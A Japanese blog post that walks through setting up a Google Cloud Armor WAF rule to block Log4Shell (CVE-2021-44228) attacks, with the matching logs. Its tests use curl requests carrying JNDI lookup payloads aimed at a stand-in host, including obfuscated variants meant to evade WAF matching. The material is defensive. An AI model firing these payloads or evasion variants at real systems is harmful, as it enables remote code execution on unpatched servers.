Cloud Armor の WAF ルールで Apache Log4j 2 の脆弱性対策

Seiji Ariga
google-cloud-jp
Published in
28 min readDec 12, 2021

(2021 年 12 月 14 日 21:00 JST 追記:WAF ルールのチューニングについて続編を書きました)

Google Cloud Japan Advent Calendar 2021 の 12 日目…ではありません。(12 日目の記事はこちらです。お、たまたま脆弱性関連ですね。)

年の瀬も差し迫った 2021 年 12 月 10 日(金)、Apache Log4j 2 の脆弱性に対するゼロデイ攻撃が可能であることが明らかになりました。

Google Cloud の WAF サービスである Cloud Armor でも、本脆弱性への対策の一つとして使える WAF ルールがリリースされたのでご紹介します。

ちなみに、Google Cloud 全体での Apache Log4j 2 に関する情報は次のページにまとまってます。

背景

当初は本脆弱性を一意に識別するための CVE ID (Common Vulnerabilities and Exposures ID)もついていませんでしたが、その後 CVE-2021–44228 が付与されました。また、脆弱性に対する評価である CVSS (Common Vulnerability Scoring System)の基本スコアも満点の 10.0 となっており、問題の緊急性・重大性や影響範囲の広さが伺えます。

Apache Log4j 2 の公式ページより

詳細についてはすでに多くのサイトで解説されています(参考 1参考 2参考 3)のでそれらを参照いただくのがいいと思いますが、本脆弱性の特徴として、攻撃対象のシステムにアクセス権が無くても、遠隔から認証等を経ずに攻撃を行なうことができる点が挙げられると思います。(だから CVSS のスコアが高いとも言えます。)また、攻撃が成功すると攻撃対象において任意のプログラムが実行可能であるため、その影響も甚大です。

JPCERT コーディネーションセンターのページを見ると、対策は脆弱性が修正されたバージョン(Apache Log4j 2.15.0)以降へのアップデートですが、回避策として Apache Log4j 2 の設定変更や問題を引き起こすクラスの利用停止も挙げられています。また、「本脆弱性を悪用する攻撃の影響を軽減するため、システムから外部への接続を制限するための可能な限りのアクセス制御の見直しや強化」(太字は筆者)も挙げられています。

先述の通り、遠隔からの攻撃が可能なせいで影響が大きいため、遠隔からの攻撃をできるだけ難しくすることは、影響を軽減することに役に立つと思います。

Cloud Armor の WAF ルールでフィルタリング

「アクセス制御の見直しや強化」をするに当たり、外部からのアクセス(この脆弱性の場合は、ログインとか API へのアクセスなどよりもっと緩やかな、データの受け取り程度のアクセスも含みます)を遮断できれば簡単ですが、外部に公開しているサービスの場合はそうもいきません。

となるとできる対策は、ソフトウェアのアップデートをできるだけ急ぎつつ、アップデートが完了するまで、JPCERT の推奨にもあるように、外部からのアクセスを遮断しないまでも、できるだけ制御することです。

そこで本題となる、Cloud Armor の WAF ルールによる外部からのアクセスのフィルタリングが登場します。

Cloud Armor は Google Cloud のマネージドサービスで、アクセス元の IP アドレスや地域によるアクセス制限に加え、DDoS 攻撃(Distributed Denial of Service:サービス拒否攻撃)やウェブアプリケーションに対する攻撃からバックエンドシステムを保護するのに役立ちます。

Google Cloud のグローバルなロードバランサーに対する付加機能として設定することができ、WAF(Web Application Firewall)の機能として事前に設定されたルールが提供されており、クロスサイトスクリプティング(XSS)や SQL インジェクション(SQLi)など、様々なウェブアプリケーションへの攻撃からシステムを守ることができます。

今回、Apache Log4j 2 への攻撃による影響を軽減するために、Google Cybersecurity Action Team と連携して、新たな WAF ルール(cve-canary)を作成しました。この WAF ルールを使うことで、Google Cloud のロードバランサー(と Cloud Armor)のバックエンドに構築したシステムを保護できます。

Cloud Armor によってさまざまなバックエンドを保護できます

なお Cloud Armor は、Google Cloud 内の Google Compute Engine(VM サービス)や Google Kubernetes Engine(コンテナサービス)だけではなく、サーバーレスサービスである App Engine、Cloud Run、Cloud Functions、さらには インターネットや VPN・専用線経由でアクセスできる Google Cloud 外のオンプレミスや他のクラウドサービスにあるバックエンドシステムも保護できます。

なお、ロードバランサーのバックエンドとしてインターネットでアクセスできるバックエンドを設定する場合は Internet NEG (Network Endpoint Group) というものを使います。「Cloud CDN カスタムオリジン」というタイトルにはなっていますが、Internet NEG の使い方をご紹介した記事を以前書きましたので、参考にしていただけるとありがたいです。

また、VPNや専用線経由でバックエンドにアクセスする場合は、Hybrid connectivity NEG というものを使います。こちらは先日 Uchima-san が記事を書いておられるので、合わせて参照いただけると嬉しいです。

Cloud Armor の設定 … の事前準備

前置きが長くなりましたが、実際に Apache Log4j 2 に対する攻撃から Compute Engine (VM)で構築されたウェブサービスを Cloud Armor で保護してみます。

先述の通り、Cloud Armor はグローバルなロードバランサーの付加機能として設定するため、先に Compute Engine によるバックエンドの作成と、ロードバランサーの設定が必要ですが、そこはドキュメントを参照いただくことで割愛させていただきます。

ちなみに二つある理由は、上が 2021 年 11 月にリリースされた、より高機能なグローバルロードバランサー(プレビュー中)、下が従来のグローバルロードバランサーによる説明となっているためです。なお、Host and scale a web app in Google Cloud with Compute Engine というドキュメントは英語ですが、もう少しステップバイステップの手順書的で読みやすいかもしれません。(Google Cloud Codelabs and Challenges には他にも同様のドキュメントがたくさんありますのでご参照ください。)

…というわけで、ロードバランサーのバックエンドとして Compute Engine を使ったウェブサイトができました!

グローバルにスケールするウェブサイト
$ curl https://example.jp/
example-jp

脆弱性は仕込んでいません。:-)

ちなみに HTTPS でアクセスしてますが、マネージドな SSL 証明書を使うこともできます。

この状態で Apache Log4j 2 への攻撃を模したアクセスをすると、当たり前ですが普通にアクセスできてしまいます。

$ curl -H 'User-Agent: ${jndi:ldap://malicious.example.com/attack-code}' https://example.jp/
example-jp

では、このロードバランサーに Apache Log4j 2 の脆弱性対策の WAF ルールを適用していきます。

Cloud Armor の設定

ようやく Cloud Armor の具体的な設定です。

初めに、Cloud Console のメニューにある「ネットワークセキュリティ」から「Cloud Armor」を選びます。

Cloud Console のメニュー

次に「ポリシーを作成」します。

Cloud Armor のページ

Cloud Armor の設定は次のステップでおこないます。

  1. 「セキュリティポリシー」の設定
    Cloud Armor では「セキュリティポリシー」を作成し、その中に様々なルールとアクションを定義していきます。
  2. 「ルール(とアクション)」の追加
    今回の本題である WAF のルールであったり、IP アドレス等によるアクセス可否ルールレート制限reCAPTCH によるボット検知などなどを定義していきます。
  3. 「セキュリティポリシー」の適用
    作成したセキュリティポリシーをターゲット(ロードバランサーのバックエンド)に適用します。なお、一つのロードバランサーには複数種類のバックエンドを設定できますが、それぞれに異なるセキュリティポリシーを適用することもできます。
  4. 「Adaptive Protection の適用」
    通常のトラフィック パターンを学習し、疑わしいトラフィックをブロックするルールをほぼリアルタイムで提供する Adaptive Protection の適用を選択します。(リンク先の記事中ではプレビューとなっていますが、すでに一般提供を開始しています。)

Cloud Console 上でも同じ順番で設定するようになっています。

Cloud Armor のセキュリティポリシーの設定手順

初めにセキュリティポリシーに名前をつけて、デフォルトのアクション(許可・拒否)を設定します。今回は問題のあるアクセスだけ拒否したいので、デフォルトのアクションは「許可」にします。

セキュリティポリシーの設定

次が本題のルールの設定です。一つのセキュリティポリシーの中には複数のルールを設定を設定できますが、今回は一つだけ設定します。

まず、事前に設定されたルールを使う場合は「モード」を「詳細モード」にします。

そして、Apache Log4j 2 を保護するルールは、cve-canary という名前のルールに含まれているので、evaluatePreconfiguredExpr('cve-canary') という設定をします。マッチした場合のアクションは当然「拒否」で、拒否時の HTTP のステータスコードとして「HTTP 403(アクセス拒否)」を返すようにします。

ちなみに、ルールの名前には「-stable」と「-canary」があり、「-canary」には最新のルール、「-stable」には安定版のルールが含まれます。今回は緊急での対応なため、まずは「-canary」でのご提供となります。

ルールが複数ある場合は「優先度」の順番(数字が小さい順)に評価されますが、今回は一つしかないので何を入れても大丈夫です。(とりあえず 1000 としました)

あと「プレビューのみ」という項目に「有効にする」というチェックボックスがあります。これにチェックする(有効にする)と、当該ルールはプレビューモードになり、リクエストがマッチしたかどうかがログに残る一方、アクションとして「拒否」を選んでいてもリクエストは拒否されずバックエンドに到達します。新しいルールを追加する場合、一旦プレビューモードで設定し、期待通りの動作をすること(期待されたリクエストだけがブロックされ、それ以外はブロックされない、など)をログ上で確認した上で、実際にルールを有効にする(プレビューモードを無効にする)のが安全かと思います。

今回はテストなのでルールをいきなり有効にします。(「プレビューのみ」を「有効にする」にチェックをつけない。)

ルールの追加

ここまででセキュリティポリシーと、それに含まれるルールは設定できたので、後はこれを実際に適用します。

「ターゲットを追加」からロードバランサーのバックエンドを選び、セキュリティポリシーを適用します。(なお、一つのセキュリティポリシーを複数のバックエンドに適用することもできます。)

セキュリティポリシーの適用

最後に Adaptive Protection を有効にするか否かの設定があります。スクリーンショットの説明にもある通り、Adaptive Protection はレイヤ 7 の DDoS 攻撃からバックエンドをいい感じに保護してくれるサービスですが、今回は関係ないので、そのまま(「有効にする」をチェックしないまま)にしておきます。

Adaptive Protection の適用

そして「ポリシーを作成」をクリックして完了です。これで、先ほどのウェブサイトが保護されるようになりました。

Cloud Armor で保護されたグローバルにスケールするウェブサイト

なお、セキュリティポリシーが有効になるまで数分くらいかかる場合がありますので、適用直後に期待通りの動作をしない場合は少し待ってみてください。(全世界に点在するロードバランサーのコンポーネントに設定を反映させるため、どうしても少し時間がかかってしまいます。)

Cloud Armor の追加の設定

追加の設定が二つあります。現時点ではいずれもセキュリティポリシー作成後に、CLI(gcloud コマンド)で設定(更新)するものとなります。

一つ目。Cloud Armor のログは、デフォルトではどのような理由でルールにマッチしたのか分かりにくい場合があります。その場合、詳細ログを有効にすることで、より具体的な理由が分かるようになります。今回の Apache Log4j 2 の攻撃に対応するルールも、詳細ログが有効であった方が動きがわかりやすいので、有効にしておきます。

gcloud compute security-policies update example-jp-security-policy \
--log-level=VERBOSE

二つ目。HTTP の POST リクエストの本文が JSON であった場合(リクエストの Content-Type ヘッダーが application/json の場合)、JSON をパースするか否かを設定できます。デフォルトでは無効のため有効にしておきます。

gcloud compute security-policies update example-jp-security-policy \
--json-parsing=STANDARD

なお、JSON のパースの詳細についてはドキュメントを参照ください。

Apache Log4j 2 への攻撃を模したアクセス

それでは、上で試した Apache Log4j 2 への既知の攻撃を模したアクセスをしてみます。

$ curl -i -H 'User-Agent: ${jndi:ldap://malicious.example.com/attack-code}' https://example.jp/
HTTP/2 403
content-length: 134
content-type: text/html; charset=UTF-8
date: Sun, 12 Dec 2021 01:53:58 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

無事にアクセスがブロックされ、設定した通り HTTP 403 の応答が返ってることが分かります。

ちなみに、レスポンスの内容(「403」というタイトルや「403 Forbidden」という本文)をカスタマイズしたいリクエストは時々いただくのですが、残念ながら現時点ではできません。

上の例では、ログに残されることが多い(Apache Log4j 2 で処理される可能性が高い)ヘッダとして User-Agent を使っていますが、User-Agent に限らず、任意のヘッダに問題ある文字列が含まれたとしてもブロックされます。たとえば X-Hoge というヘッダを使ってみます。

$ curl -i -H 'X-Hoge: ${jndi:ldap://malicious.example.com/attack-code}' https://example.jp/
HTTP/2 403
content-length: 134
content-type: text/html; charset=UTF-8
date: Sun, 12 Dec 2021 01:59:26 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

また、せっかく POST リクエストの JSON パースも有効にしたので試してみましょう。初めに、NGINX の echo モジュールを使って、POST リクエストをそのまま送り返すようにします。

location /echoback {
echo_duplicate 1 $echo_client_request_headers;
echo "\r";
echo_read_request_body;
echo $request_body;
}

まずは普通にアクセスしてみます。リクエストの内容がリクエストヘッダ、本文含め返ってきてることが分かります。

$ curl -i -X POST -H "Content-Type: application/json" -d '{"Name":"John"}' https://example.jp/echoback
HTTP/2 200
server: nginx/1.14.2
date: Sun, 12 Dec 2021 02:27:47 GMT
content-type: application/octet-stream
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
POST /echoback HTTP/1.1
Host: example.jp
user-agent: curl/7.64.1
accept: */*
content-type: application/json
Content-Length: 15
X-Cloud-Trace-Context: 046f25c1f1c934c539fe7dd3721b5e78/6296076054990845471
X-Client-Data: CgSM6ZsV
Via: 1.1 google
X-Forwarded-For: 203.0.113.92, 34.117.250.153
X-Forwarded-Proto: https
Connection: Keep-Alive
{"Name":"John"}

次に Apache Log4j 2 への攻撃を模したリクエストをしてみます。無事ブロックされていることが分かります。

$ curl -i -X POST -H "Content-Type: application/json" -d '{"Name":"${jndi:ldap://malicious.example.com/attack-code}"}' https://example.jp/echoback
HTTP/2 403
content-length: 134
content-type: text/html; charset=UTF-8
date: Sun, 12 Dec 2021 02:27:22 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

他にもいくつか Twitter で見かけた攻撃パターンを試してみます。

$ curl -H 'User-Agent: ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://malicious.example.com/attack-code}' https://example.jp/
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden
$ curl -H 'User-Agent: ${j${::-n}di:l${::-d}ap://malicious.example.com/attack-code}' https://example.jp/
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden
$ curl -H 'User-Agent: ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//malicious.example.com/attack-code}' https://example.jp/
example-jp

あれ?最後の一つはブロックされていません。ルールのチューニングが必要のようです。しかし、事前に設定されたルールはその名の通り、Google Cloud 側で作成しているものであるため、ユーザー側でチューニングはできません。

執筆時点でも Google Cloud のエンジニアによるルールのチューニングは随時おこなわれているため、今後の改善に期待しましょう。(ルールは自動的に更新されるので、ユーザー側での対応は不要です。)

2021 年 12 月 12 日 14:55 JST 更新:書き終わってご飯食べた後、念の為もう一度試したら、すでに最後の例もブロックされるようになってました。素早い!)

(2021 年 12 月 14 日 21:00 JST 追記:WAF ルールのチューニングについて続編を書きました)

なお、残念ながら現時点では Cloud Armor ではリクエスト本文も含めたユーザー定義のルールは書けません。

Cloud Armor のログ

リクエストがブロックされた場合、以下のようなログが残ります。(Cloud Armor のログはその設定と同じように、ロードバランサーのアクセスログの一部として記録されます。)

{
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
"enforcedSecurityPolicy": {
"configuredAction": "DENY",
"outcome": "DENY",
"matchedLength": 26,
"matchedFieldName": "user-agent",
"matchedFieldLength": 40,
"priority": 1000,
"preconfiguredExprIds": [
"owasp-crs-v030001-id044228-cve"
],
"matchedFieldType": "HEADER_VALUES",
"name": "example-jp-security-policy",
"matchedFieldValue": "${j${::-n}di:l${"
},

"statusDetails": "denied_by_security_policy"
},
"httpRequest": {
"requestMethod": "GET",
"requestUrl": "https://example.jp/",
"requestSize": "57",
"status": 403,
"responseSize": "353",
"userAgent": "${j${::-n}di:l${::-d}ap://malicious.example.com/attack-code}",
"remoteIp": "203.0.113.92",
"latency": "0.103608s"
},
"timestamp": "2021-12-12T04:05:38.062403Z",
"severity": "WARNING",
"logName": "projects/project-vpcsc/logs/requests",
"receiveTimestamp": "2021-12-12T04:05:39.183129681Z",
}

上の例は一つ前のセクションの「Twitter で見かけた攻撃パターン」の二つ目を試した際のログ(一部省略)です。

enforcedSecurityPolicy のブロックが Cloud Armor 関連のログです。読み方としては以下の通りです。

  • マッチしたのはexample-jp-security-policy という名前(name)のセキュリティポリシー
  • 優先度(priority)が 1000 のルールにマッチ
  • マッチ対象はヘッダ(user-agent)の値(HEADER_VALUES
  • マッチした対象の値は ${j${::-n}di:l${ (ちなみに、詳細ログを有効にしてないと、こういった情報がログに残りません)
  • アクションは DENY(拒否、ブロック)

結果として httpRequest は、Cloud Armor で設定された通り、HTTP のstatus コードが 403 となりました。

ちなみにルールをプレビューモードにしている場合は以下のようなログ(抜粋)になり、previewSecurityPolicy というエントリができます。中身は上の場合の enforcedSecurityPolicy と同じで(つまり、プレビューモードを無効にして、実際に適用した場合の結果が分かる)、代わりに enforcedSecurityPolicy はデフォルトのルール(すべて許可)が適用されていることが分かります。

"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
"enforcedSecurityPolicy": {
"outcome": "ACCEPT",
"name": "example-jp-security-policy",
"priority": 2147483647,
"configuredAction": "ALLOW"
},
"statusDetails": "response_sent_by_backend",
"previewSecurityPolicy": {
"preconfiguredExprIds": [
"owasp-crs-v030001-id044228-cve"
],
"matchedFieldValue": "${j${::-n}di:l${",
"matchedFieldLength": 60,
"priority": 1000,
"name": "example-jp-security-policy",
"configuredAction": "DENY",
"matchedFieldName": "user-agent",
"outcome": "DENY",
"matchedFieldType": "HEADER_VALUES",
"matchedLength": 26
}

},

まとめ

今回ご紹介したように、Cloud Armor を使うことで簡単に Google Cloud のロードバランサー(のバックエンド)に DDoS 攻撃への防御とアプリケーションレイヤの保護を追加することができます。

そして Cloud Armor の WAF としての機能を、現在進行形で問題となっている Apache Log4j 2 への対策の一環として使うことができます。

ただし、WAF による防御は最終的にはパターンマッチングになることが多く、攻撃パターンの最後の例のようにそのパターンマッチングをかいくぐる方法は刻一刻と編み出されています。したがって、本脆弱性に対する「対策」はソフトウェアのアップデートしかありませんが、対策が完了するまでの「回避策」(緩和策)の一つとしては使っていただけると思っています。

本脆弱性が明らかになったのが日本時間の金曜であったため、週末返上で対応に当たられている方も多いかと思いますが、その一助となれば幸いです。🙏

(2021 年 12 月 14 日 10:47am JST 更新:Apache Log4j をすべて Apache Log4j 2 へ変更しました。)

--

--

Seiji Ariga
google-cloud-jp

Customer Engineer, Network Specialist, Google Cloud (All views and opinions are my own.)